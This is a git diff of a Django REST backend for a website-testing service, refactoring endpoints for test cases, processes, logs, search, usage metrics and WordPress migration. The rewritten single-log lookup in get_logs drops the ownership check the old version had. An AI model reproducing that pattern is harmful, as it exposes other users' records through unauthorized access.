account=account) + + # getting steps from case + steps = requests.get(case.steps['url']).json() + + # adding new info to steps for testcase + for step in steps: + # expanding action + if step['action']['type'] != None: + step['action']['time_created'] = None + step['action']['time_completed'] = None + step['action']['exception'] = None + step['action']['status'] = None + step['action']['img'] = None + # expanding assertion + if step['assertion']['type'] != None: + step['assertion']['time_created'] = None + step['assertion']['time_completed'] = None + step['assertion']['exception'] = None + step['assertion']['status'] = None + + # updating values if requested + if updates != None: + for update in updates: + steps[int(update['index'])]['action']['value'] = update['value'] + + # create new tescase + testcase = Testcase.objects.create( + case = case, + case_name = case.name, + site = site, + user = request.user, + configs = configs, + steps = steps, + account = account + ) + # pass the newly created Testcase to the backgroud task to run + run_testcase.delay(testcase_id=testcase.id) + # serialize and return serializer_context = {'request': request,} - data = CaseSerializer(case, context=serializer_context).data + data = TestcaseSerializer(testcase, context=serializer_context).data record_api_call(request, data, '201') response = Response(data, status=status.HTTP_201_CREATED) return response @@ -1541,34 +5149,65 @@ def create_or_update_case(request): -def get_cases(request): - case_id = request.query_params.get('case_id') +def get_testcases(request: object) -> object: + """ + Get one or more `Testcase`. + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + testcase_id = request.query_params.get('testcase_id') + site_id = request.query_params.get('site_id') + lean = request.query_params.get('lean') + + # get user and account user = request.user account = Member.objects.get(user=user).account - if case_id != None: - try: - case = Case.objects.get(id=case_id) - except: - data = {'reason': 'cannot find a Case with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if case.account != account: - data = {'reason': 'retrieve an Case you do not own',} - return Response(data, status=status.HTTP_403_FORBIDDEN) - + # checking account and resource + check_data = check_account_and_resource( + request=request, resource='testcase', + testcase_id=testcase_id, site_id=site_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get single testcase + if testcase_id: + + # get testcase + testcase = Testcase.objects.get(id=testcase_id) + + # serialize and return serializer_context = {'request': request,} - serialized = CaseSerializer(case, context=serializer_context) + serialized = TestcaseSerializer(testcase, context=serializer_context) data = serialized.data record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) + + # get testcases scoped to site + if site_id: + site = Site.objects.get(id=site_id, account=account) + testcases = Testcase.objects.filter(site=site).order_by('-time_created') - cases = Case.objects.filter(account=account).order_by('-time_created') + # get testcases scoped to account + if not site_id: + testcases = Testcase.objects.filter(account=account).order_by('-time_created') + + # serialize and return paginator = LimitOffsetPagination() - result_page = paginator.paginate_queryset(cases, request) + result_page = paginator.paginate_queryset(testcases, request) serializer_context = {'request': request,} - serialized = CaseSerializer(result_page, many=True, context=serializer_context) + serialized = TestcaseSerializer(result_page, many=True, context=serializer_context) + if str(lean).lower() == 'true': + serialized = SmallTestcaseSerializer(result_page, many=True, context=serializer_context) response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') return response @@ -1576,255 +5215,320 @@ def get_cases(request): -def search_cases(request): +def get_testcase(request: object, id: str) -> object: + """ + Get single `Testcase` from the passed "id" + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account user = request.user account = Member.objects.get(user=user).account - query = request.query_params.get('query') - cases = Case.objects.filter(account=account, name__icontains=query).order_by('-time_created') - paginator = LimitOffsetPagination() - result_page = paginator.paginate_queryset(cases, request) + + # check account and resource + check_data = check_account_and_resource(request=request, + testcase_id=id, resource='testcase' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get testcase if checks passed + testcase = Testcase.objects.get(id=id) + + # serialize and return serializer_context = {'request': request,} - serialized = CaseSerializer(result_page, many=True, context=serializer_context) - response = paginator.get_paginated_response(serialized.data) - record_api_call(request, response.data, '200') - return response + serialized = TestcaseSerializer(testcase, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) -def delete_case(request, id): - user = request.user - account = Member.objects.get(user=user).account - try: - case = Case.objects.get(id=id) - except: - data = {'reason': 'cannot find a Case with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if case.account != account: - data = {'reason': 'delete an Case you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) +def delete_testcase(request: object=None, id: str=None, account: object=None) -> object: + """ + Deletes the `Testcase` associated with the passed "id" - case.delete() + Expcets: { + 'request' : object, + 'id' : str, + 'account' : object + } - data = {'message': 'Case has been deleted',} - record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response + Returns -> HTTP Response object + """ + # get user and account info + if request: + account = Member.objects.get(user=request.user).account + user = request.user + + if not request: + user = account.user + # checking account and resource + check_data = check_account_and_resource( + user=user, resource='testcase', + testcase_id=id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + if request: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + # get testcase if checks passed + testcase = Testcase.objects.get(id=id) + # remove s3 objects + delete_testcase_s3_bg.delay(testcase_id=id) + # delete testcase + testcase.delete() + # return response + data = {'message': 'Testcase has been deleted',} + if request: + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + return data -def create_testcase(request, delay=False): - case_id = request.data.get('case_id') - site_id = request.data.get('site_id') - updates = request.data.get('updates') - configs = request.data.get('configs') - user = request.user - account = Member.objects.get(user=user).account - account_is_active = check_account(request) - if not account_is_active: - data = {'reason': 'account not funded',} - record_api_call(request, data, '402') - return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) +def get_testcases_zapier(request: object) -> object: + """ + Get all `Testcases` associated with user's Account. - if case_id and site_id: - try: - case = Case.objects.get(id=case_id, account=account) - except: - data = {'reason': 'cannot find a Case with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ - try: - site = Site.objects.get(id=site_id, account=account) - except: - data = {'reason': 'cannot find a Site with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) + # get request data + passed = request.query_params.get('passed') + account = Member.objects.get(user=request.user).account + testcases = None - else: - data = {'reason': 'you must provide both site_id and case_id'} - record_api_call(request, data, '409') - return Response(data, status=status.HTTP_409_CONFLICT) + # deciding on scope + resource = 'testcase' - steps = case.steps - for step in steps: - if step['action']['type'] != None: - step['action']['time_created'] = None - step['action']['time_completed'] = None - step['action']['exception'] = None - step['action']['passed'] = None + # check account and resource + check_data = check_account_and_resource( + user=request.user, resource=resource + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get all account assocoiated testcases + if testcases is None: + testcases = Testcase.objects.filter( + account=account, + ).exclude( + time_completed=None, + ).order_by('-time_created') + + # filter by passed if requested + if passed is not None: + testcases = testcases.filter(passed=passed) + + # build response data + data = [] + + for testcase in testcases: + data.append({ + 'id' : str(testcase.id), + 'case' : str(testcase.case.id), + 'case_name' : str(testcase.case_name), + 'site' : str(testcase.site.id), + 'time_created' : str(testcase.time_created), + 'time_completed' : str(testcase.time_completed), + 'configs' : testcase.configs, + 'passed' : str(testcase.passed), + }) + + # serialize and return + response = Response(data, status=status.HTTP_200_OK) + return response - if step['assertion']['type'] != None: - step['assertion']['time_created'] = None - step['assertion']['time_completed'] = None - step['assertion']['exception'] = None - step['assertion']['passed'] = None - if updates != None: - for update in updates: - steps[int(update['index'])]['action']['value'] = update['value'] - if configs is None: - configs = { - 'window_size': '1920,1080', - 'device': 'desktop', - 'interval': 5, - 'min_wait_time': 10, - 'max_wait_time': 30, - } - - testcase = Testcase.objects.create( - case = case, - case_name = case.name, - site = site, - user = request.user, - configs = configs, - steps = steps, - account = account - ) - if delay: - # pass the newly created Testcase to the backgroud task to run - create_testcase_bg.delay(testcase_id=testcase.id) - else: - # running testcase - asyncio.run( - Caser(testcase=testcase).run() - ) - testcase = Testcase.objects.get(id=testcase.id) +### ------ Begin Process Services ------ ### - serializer_context = {'request': request,} - data = TestcaseSerializer(testcase, context=serializer_context).data - record_api_call(request, data, '201') - response = Response(data, status=status.HTTP_201_CREATED) - return response +def get_processes(request: object) -> object: + """ + Get one or more `Processes`. -def get_testcases(request): - testcase_id = request.query_params.get('testcase_id') + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data site_id = request.query_params.get('site_id') - lean = request.query_params.get('lean') + process_id = request.query_params.get('process_id') + _type = request.query_params.get('type') + object_id = request.query_params.get('object_id') + + # get user and account user = request.user account = Member.objects.get(user=user).account - if testcase_id != None: - try: - testcase = Testcase.objects.get(id=testcase_id) - except: - data = {'reason': 'cannot find a Testcase with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if testcase.account != account: - data = {'reason': 'retrieve an Testcase you do not own',} - return Response(data, status=status.HTTP_403_FORBIDDEN) + # checking account and resource + check_data = check_account_and_resource( + request=request, resource='process', + process_id=process_id, site_id=site_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get single process + if process_id: + + # get process + process = Process.objects.get(id=process_id) + # serialize and return serializer_context = {'request': request,} - serialized = TestcaseSerializer(testcase, context=serializer_context) - data = serialized.data + data = ProcessSerializer(process, context=serializer_context).data record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + response = Response(data, status=status.HTTP_200_OK) + return response - if site_id != None: - try: - site = Site.objects.get(id=site_id, account=account) - except: - data = {'reason': 'cannot find a Site with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - testcases = Testcase.objects.filter(site=site).order_by('-time_created') - - else: - testcases = Testcase.objects.filter(account=account).order_by('-time_created') + # get processes scoped to site + if site_id: + site = Site.objects.get(id=site_id) + processes = Process.objects.filter(site=site).order_by('-time_created') + + # get processes scoped to accout and/or type + if site_id is None and process_id is None: + if _type is None and object_id is None: + processes = Process.objects.filter(account=account).order_by('-time_created') + if _type is not None: + processes = Process.objects.filter(account=account, type=_type).order_by('-time_created') + if object_id is not None: + processes = Process.objects.filter(account=account, object_id=object_id).order_by('-time_created') + # serialize and return paginator = LimitOffsetPagination() - result_page = paginator.paginate_queryset(testcases, request) + result_page = paginator.paginate_queryset(processes, request) serializer_context = {'request': request,} - serialized = TestcaseSerializer(result_page, many=True, context=serializer_context) - if lean is not None: - serialized = SmallTestcaseSerializer(result_page, many=True, context=serializer_context) + serialized = ProcessSerializer(result_page, many=True, context=serializer_context) response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') return response -def delete_testcase(request, id): - user = request.user - account = Member.objects.get(user=user).account - try: - testcase = Testcase.objects.get(id=id) - except: - data = {'reason': 'cannot find a Testcase with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if testcase.account != account: - data = {'reason': 'delete an Testcase you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) +def get_process(request: object, id: str) -> object: + """ + Get single `Process` from the passed "id" - # remove s3 objects - delete_testcase_s3_bg.delay(testcase_id=id) + Expects: { + 'request' : object, + 'id' : str + } - testcase.delete() + Returns -> HTTP Response object + """ - data = {'message': 'Testcase has been deleted',} - record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response + # get user and account + user = request.user + account = Member.objects.get(user=user).account + # check account and resource + check_data = check_account_and_resource(request=request, + process_id=id, resource='process' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + # get process if checks passed + process = Process.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = ProcessSerializer(process, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) +### ------ Begin Log Services ------ ### +def get_logs(request: object) -> object: + """ + Get one or more `Testcase`. -def get_logs(request): + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + # get request data log_id = request.query_params.get('log_id') - request_status = request.query_params.get('status') + request_status = request.query_params.get('success') request_type = request.query_params.get('request_type') - if log_id != None: + # get user + user = request.user + + # get single log + if log_id: + + # get log log = Log.objects.get(id=log_id) - if log.user != request.user: - data = {'reason': 'retrieve Logs you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + # serialize and return serializer_context = {'request': request,} serialized = LogSerializer(log, context=serializer_context) data = serialized.data record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) + # filtering logs by passed params if request_status != None and request_type != None: - logs = Log.objects.filter(status=request_status, request_type=request_type, user=request.user).order_by('-time_created') + logs = Log.objects.filter(status=request_status, request_type=request_type, user=user).order_by('-time_created') elif request_status == None and request_type != None: - logs = Log.objects.filter(request_type=request_type, user=request.user).order_by('-time_created') + logs = Log.objects.filter(request_type=request_type, user=user).order_by('-time_created') elif request_status != None and request_type == None: - logs = Log.objects.filter(status=request_status, user=request.user).order_by('-time_created') + logs = Log.objects.filter(status=request_status, user=user).order_by('-time_created') else: - logs = Log.objects.filter(user=request.user).order_by('-time_created') + logs = Log.objects.filter(user=user).order_by('-time_created') + # serialize and return paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(logs, request) serializer_context = {'request': request,} @@ -1835,197 +5539,460 @@ def get_logs(request): +def get_log(request: object, id: str) -> object: + """ + Get single `Log` from the passed "id" + Expects: { + 'request' : object, + 'id' : str + } + Returns -> HTTP Response object + """ + # get user and account + user = request.user + account = Member.objects.get(user=user).account -def migrate_site(request, delay=False): - login_url = request.data.get('login_url', None) - admin_url = request.data.get('admin_url', None) - plugin_name = request.data.get('plugin_name', 'Cloudways WordPress Migrator') - username = request.data.get('username', None) - password = request.data.get('password', None) - site_id = request.data.get('site_id', None) - email_address = request.data.get('email_address', None) - destination_url = request.data.get('destination_url', None) - sftp_address = request.data.get('sftp_address', None) - dbname = request.data.get('dbname', None) - sftp_username = request.data.get('sftp_username', None) - sftp_password = request.data.get('sftp_password', None) - wait_time = request.data.get('wait_time', 30) - driver = request.data.get('driver', 'puppeteer') - - site = Site.objects.get(id=site_id) - process = Process.objects.create( - site=site, - type='migration' + # check account and resource + check_data = check_account_and_resource(request=request, + log_id=id, resource='log' ) - process_id = process.id - - if delay: - migrate_site_bg.delay( - login_url, - admin_url, - username, - password, - email_address, - destination_url, - sftp_address, - dbname, - sftp_username, - sftp_password, - plugin_name, - wait_time, - process_id, - driver - ) - - serializer_context = {'request': request,} - data = ProcessSerializer(process, context=serializer_context).data - record_api_call(request, data, '201') - response = Response(data, status=status.HTTP_201_CREATED) - return response - + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + # get log if checks passed + log = Log.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = LogSerializer(log, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) - if driver == 'selenium': - # init wordpress - wp = W( - login_url=login_url, - admin_url=admin_url, - username=username, - password=password, - email_address=email_address, - destination_url=destination_url, - sftp_address=sftp_address, - dbname=dbname, - sftp_username=sftp_username, - sftp_password=sftp_password, - wait_time=wait_time, - process_id=process.id - ) - # login - wp_status = wp.login() - # adjust lang - wp_status = wp.begin_lang_check() +### ------ Begin Search Services ------ ### - # install plugin - wp_status = wp.install_plugin(plugin_name=plugin_name) - # launch migration - wp_status = wp.launch_migration() - # run migration - wp_status = wp.run_migration() - # re adjust lang - # wp_status = wp.end_lang_check() +def search_resources(request: object) -> object: + """ + This method will search for any `Page` or `Site` + that is associated with the user's `Account` and + matches the query string. - if wp_status: - data = { - 'status': 'success', - 'message': 'site migration succeeded' - } - else: - data = { - 'status': 'failed', - 'message': 'site migration failed' + Expects: + 'query': the query string + + Returns: + data -> [ + { + 'str' : , + 'type': , + 'path': , + 'id' : , } + ... + ] + """ - response = Response(data, status=status.HTTP_200_OK) - record_api_call(request, data, '200') - return response + # get data + query = request.query_params.get('query') + user = request.user + account = Member.objects.get(user=user).account + data = [] + cases = [] + pages = [] + sites = [] + issues = [] + + # check for object specification i.e 'site:', 'case:', 'issue:' + resource_type = query.replace('https://', '').replace('http://', '').split(':')[0] + query = query.replace('https://', '').replace('http://', '').split(':')[-1] + + # search for sites + if resource_type == 'site' or resource_type == query: + sites = Site.objects.filter(account=account).filter( + site_url__icontains=query + ) - else: + # search for pages + if resource_type == 'page' or resource_type == query: + pages = Page.objects.filter(account=account).filter( + page_url__icontains=query + ) - # init wordpress for puppeteer - wp_status = asyncio.run( - W_P( - login_url=login_url, - admin_url=admin_url, - username=username, - password=password, - wait_time=wait_time, - ).run_full(plugin_name=plugin_name) + # search for cases + if resource_type == 'case' or resource_type == query: + cases = Case.objects.filter(account=account).filter( + name__icontains=query ) - if wp_status: - data = { - 'status': 'success', - 'message': 'site migration succeeded' - } - else: - data = { - 'status': 'failed', - 'message': 'site migration failed' - } + # search for issues + if resource_type == 'issue' or resource_type == query: + issues = Issue.objects.filter(account=account).filter( + title__icontains=query + ) + + # adding first several sites if present + i = 0 + max_sites = 10 if resource_type == 'site' else 3 + while i <= max_sites and i <= (len(sites)-1): + data.append({ + 'str': str(sites[i].site_url), + 'path': f'/site/{sites[i].id}', + 'id' : str(sites[i].id), + 'type': 'site', + }) + i+=1 + + # adding first several pages if present + i = 0 + max_pages = 10 if resource_type == 'page' else 3 + while i <= max_pages and i <= (len(pages)-1): + data.append({ + 'str': str(pages[i].page_url), + 'path': f'/page/{pages[i].id}', + 'id' : str(pages[i].id), + 'type': 'page', + }) + i+=1 + + # adding first several cases if present + i = 0 + max_cases = 10 if resource_type == 'case' else 3 + while i <= max_cases and i <= (len(cases)-1): + data.append({ + 'str': str(cases[i].name), + 'path': f'/case/{cases[i].id}', + 'id' : str(cases[i].id), + 'type': 'case', + }) + i+=1 + + # adding first several issues if present + i = 0 + max_issues = 10 if resource_type == 'issue' else 3 + while i <= max_issues and i <= (len(issues)-1): + data.append({ + 'str': str(issues[i].title), + 'path': f'/issue/{issues[i].id}', + 'id' : str(issues[i].id), + 'type': 'issue', + }) + i+=1 + + # return response + response = Response(data, status=status.HTTP_200_OK) + return response - response = Response(data, status=status.HTTP_200_OK) - record_api_call(request, data, '200') - return response +### ------ Begin Metrics Services ------ ### +def get_home_metrics(request: object) -> object: + """ + Builds metrics for account "Home" view + on Scanerr.client + Expects: { + 'request' : object + } + Returns -> HTTP Response object + """ -def create_site_screenshot(request): + # get user, account, sites, & issues user = request.user - site_id = request.data.get('site_id', None) - url = request.data.get('url', None) - configs = request.data.get('configs', None) - site = None + account = Member.objects.get(user=user).account + sites = Site.objects.filter(account=account).count() + issues = Issue.objects.filter(account=account, status='open').count() + schedules = Schedule.objects.filter(account=account).count() + + # setting resource defaults + tests = account.usage['tests'] + scans = account.usage['scans'] + testcases = account.usage['testcases'] + + # calculate usages + sites_usage = round((sites/account.max_sites)*100, 2) if sites > 0 else 0 + schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0 + scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0 + tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0 + testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0 + + # format data + data = { + "sites": sites, + "sites_usage": sites_usage, + "tests": tests, + "tests_usage": tests_usage, + "scans": scans, + "scans_usage": scans_usage, + "schedules": schedules, + "schedules_usage": schedules_usage, + "testcases": testcases, + "testcases_usage": testcases_usage, + "open_issues": issues, + } + + # return response + response = Response(data, status=status.HTTP_200_OK) + return response - if site_id is not None: - site = Site.objects.get(id=site_id) - if configs is not None: - if configs['driver'] == 'puppeteer': - data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs)) - elif configs['driver'] == 'selenium': - data = I().screenshot(site=site, url=url, configs=configs) + + + +def get_site_metrics(request: object) -> object: + """ + Builds metrics for account "Site" view + on Scanerr.client + + Expects: { + 'request' : object + } + + Returns -> HTTP Response object + """ + + # get user, account, site, & pages + user = request.user + account = Member.objects.get(user=user).account + site_id = request.query_params.get('site_id') + site = Site.objects.get(id=site_id) + max_sites = account.max_sites + pages = Page.objects.filter(site=site) + + # get last reset day + f = '%Y-%m-%d %H:%M:%S.%f' + last_usage_date_str = account.meta.get('last_usage_reset') + last_usage_date = None + if last_usage_date_str: + last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '') + last_usage_date = datetime.strptime(last_usage_date_str, f) else: - data = I().screenshot(site=site, url=url, configs=configs) - record_api_call(request, data, '201') - response = Response(data, status=status.HTTP_201_CREATED) + last_usage_date = datetime.now() - timedelta(30) + + # get scans + scans = Scan.objects.filter( + site=site, + time_created__gte=last_usage_date + ).count() + + # get tests + tests = Test.objects.filter( + site=site, + time_created__gte=last_usage_date + ).count() + + # get testcases + testcases = Testcase.objects.filter( + site=site, + time_created__gte=last_usage_date + ).count() + + # get site scoped schedules + schedules = Schedule.objects.filter( + resources__icontains=str(site.id), scope='site', + account=account + ).count() + + # calculating page scoped schedules + for page in pages: + schedules += Schedule.objects.filter( + resources__icontains=str(page.id), scope='page', + account=account + ).count() + + # calculate usage + pages = pages.count() + pages_usage = round((pages/account.max_pages)*100, 2) if pages > 0 else 0 + schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0 + scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0 + tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0 + testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0 + + # format data + data = { + "pages": pages, + "pages_usage": pages_usage, + "tests": tests, + "tests_usage": tests_usage, + "scans": scans, + "scans_usage": scans_usage, + "schedules": schedules, + "schedules_usage": schedules_usage, + "testcases": testcases, + "testcases_usage": testcases_usage, + } + + # return response + response = Response(data, status=status.HTTP_200_OK) return response +def get_celery_metrics(request: object) -> object: + """ + Builds metrics for current Celery task load. + Used to provision and terminate new pods in + k8s cluster on PROD + Expects: { + 'request' : object + } -def get_home_stats(request): - user = request.user - account = Member.objects.get(user=user).account - sites = Site.objects.filter(account=account) - site_count = sites.count() - test_count = 0 - scan_count = 0 - schedule_count = 0 - for site in sites: - tests = Test.objects.filter(site=site) - scans = Scan.objects.filter(site=site) - schedules = Schedule.objects.filter(site=site) - test_count = test_count + tests.count() - scan_count = scan_count + scans.count() - schedule_count = schedule_count + schedules.count() + Returns -> HTTP Response object + """ + + + # get redis queue len + redis_client = Redis.from_url( + settings.CELERY_BROKER_URL, + socket_connect_timeout=3 + ) + redis_queue_len = redis_client.llen( + app.default_app.conf.task_default_queue + ) + # Inspect all nodes. + i = celery.app.control.inspect() + + # Tasks received, but are still waiting to be executed. + reserved = i.reserved() + # + # Active tasks + active = i.active() + + # init task & replica counters + # & ratio + num_tasks = 0 + num_replicas = 0 + ratio = 0 + working_len = 0 + + # loop through all reserved & active tasks and + # add length of array (tasks) to total + for replica in reserved: + num_tasks += len(reserved[replica]) + num_replicas += 1 + for replica in active: + num_tasks += len(active[replica]) + + # build metrics + if num_replicas > 0: + ratio = num_tasks / num_replicas + + # get working length + working_len = redis_queue_len + num_tasks + + # format data data = { - "sites": site_count, - "tests": test_count, - "scans": scan_count, - "schedules": schedule_count, + "num_tasks": num_tasks, + "num_replicas": num_replicas, + "ratio": ratio, + "redis_queue": redis_queue_len, + "working_len": working_len } + + # return response response = Response(data, status=status.HTTP_200_OK) return response + + +### ------ Begin Beta Services ------ ### + + + + +def migrate_site(request: object) -> object: + """ + Initiate a `Site` migration task in background + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + login_url = request.data.get('login_url', None) + admin_url = request.data.get('admin_url', None) + plugin_name = request.data.get('plugin_name', 'Cloudways WordPress Migrator') + username = request.data.get('username', None) + password = request.data.get('password', None) + site_id = request.data.get('site_id', None) + email_address = request.data.get('email_address', None) + destination_url = request.data.get('destination_url', None) + sftp_address = request.data.get('sftp_address', None) + dbname = request.data.get('dbname', None) + sftp_username = request.data.get('sftp_username', None) + sftp_password = request.data.get('sftp_password', None) + wait_time = request.data.get('wait_time', 30) + driver = request.data.get('driver', 'selenium') + + # checking account and resource + check_data = check_account_and_resource( + request=request, resource='site', + site_id=site_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get site if checks passed + site = Site.objects.get(id=site_id) + + # create new Process + process = Process.objects.create( + site=site, + type='migration' + ) + + # start migrtation task in background + migrate_site_bg.delay( + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + plugin_name, + wait_time, + process.id, + driver + ) + + # serialize and return + serializer_context = {'request': request,} + data = ProcessSerializer(process, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py deleted file mode 100644 index 8dc20b9e..00000000 --- a/app/api/v1/ops/tasks.py +++ /dev/null @@ -1,360 +0,0 @@ -from ...models import * -from ...utils.scanner import Scanner as S -from ...utils.tester import Tester as T -from ...utils.reporter import Reporter as R -from ...utils.wordpress import Wordpress as W -from ...utils.wordpress_p import Wordpress as W_P -from ...utils.automations import automation -from ...utils.caser import Caser -import boto3, asyncio -from scanerr import settings -from ...utils.scanner import ( - _html_and_logs, _vrt, _lighthouse, - _yellowlab -) - - - -def create_site_task(site_id, scan_id, configs): - site = Site.objects.get(id=site_id) - scan = Scan.objects.get(id=scan_id) - S(site=site, scan=scan, configs=configs).first_scan() - return site - - -def create_scan_task( - scan_id=None, - site_id=None, - type=['full'], - automation_id=None, - configs=None, - tags=None, - ): - if scan_id is not None: - created_scan = Scan.objects.get(id=scan_id) - elif site_id is not None: - site = Site.objects.get(id=site_id) - created_scan = Scan.objects.create( - site=site, - type=type, - configs=configs, - tags=tags, - ) - scan = S(scan=created_scan, configs=configs).first_scan() - if automation_id: - automation(automation_id, scan.id) - return scan - - - - - -def run_html_and_logs_task(scan_id=None): - scan = _html_and_logs(scan_id) - return scan - -def run_vrt_task(scan_id=None): - scan = _vrt(scan_id) - return scan - -def run_lighthouse_task(scan_id=None): - scan = _lighthouse(scan_id) - return scan - -def run_yellowlab_task(scan_id=None): - scan = _yellowlab(scan_id) - return scan - - - - - -def create_test_task( - test_id=None, - site_id=None, - automation_id=None, - configs=None, - type=['full'], - index=None, - pre_scan=None, - post_scan=None, - tags=None, - ): - - if test_id is not None: - created_test = Test.objects.get(id=test_id) - site = created_test.site - elif site_id is not None: - site = Site.objects.get(id=site_id) - created_test = Test.objects.create( - site=site, - type=type, - tags=tags, - ) - - if pre_scan is not None: - pre_scan = Scan.objects.get(id=pre_scan) - if post_scan is not None: - post_scan = Scan.objects.get(id=post_scan) - - if post_scan is None and pre_scan is not None: - post_scan = S(site=site, scan=pre_scan, configs=configs, type=type).second_scan() - - if pre_scan is None and post_scan is None: - new_scan = S(site=site, configs=configs, type=type) - post_scan = new_scan.second_scan() - pre_scan = post_scan.paired_scan - - # updating parired scans - pre_scan.paired_scan = post_scan - post_scan.paried_scan = pre_scan - pre_scan.save() - post_scan.save() - - # updating test object - created_test.type = type - created_test.pre_scan = pre_scan - created_test.post_scan = post_scan - created_test.save() - - - test = T(test=created_test).run_test(index=index) - if automation_id: - automation(automation_id, test.id) - return test - - - - -def create_report_task(site_id, automation_id=None): - site = Site.objects.get(id=site_id) - if Report.objects.filter(site=site).exists(): - report = Report.objects.filter(site=site).order_by('-time_created')[0] - else: - info = { - "text_color": '#24262d', - "background_color": '#e1effd', - "highlight_color": '#ffffff', - } - report = Report.objects.create( - user=site.user, - site=site, - info=info, - type=['lighthouse', 'yellowlab'] - ) - - - report = R(report=report).make_test_report() - if automation_id: - automation(automation_id, report.id) - return report - - - - - - -def delete_site_s3(site_id): - # setup boto3 configurations - s3 = boto3.resource('s3', - aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - # deleting s3 objects - try: - bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) - bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete() - except: - pass - - return - - - - -def delete_testcase_s3(testcase_id): - # setup boto3 configurations - s3 = boto3.resource('s3', - aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - # deleting s3 objects - try: - bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) - bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete() - except: - pass - - return - - - - - -def delete_report_s3(report_id): - # setup boto3 configurations - s3 = boto3.resource('s3', - aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - # get site - site = Report.objects.get(id=report_id).site - - # deleting s3 objects - bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) - 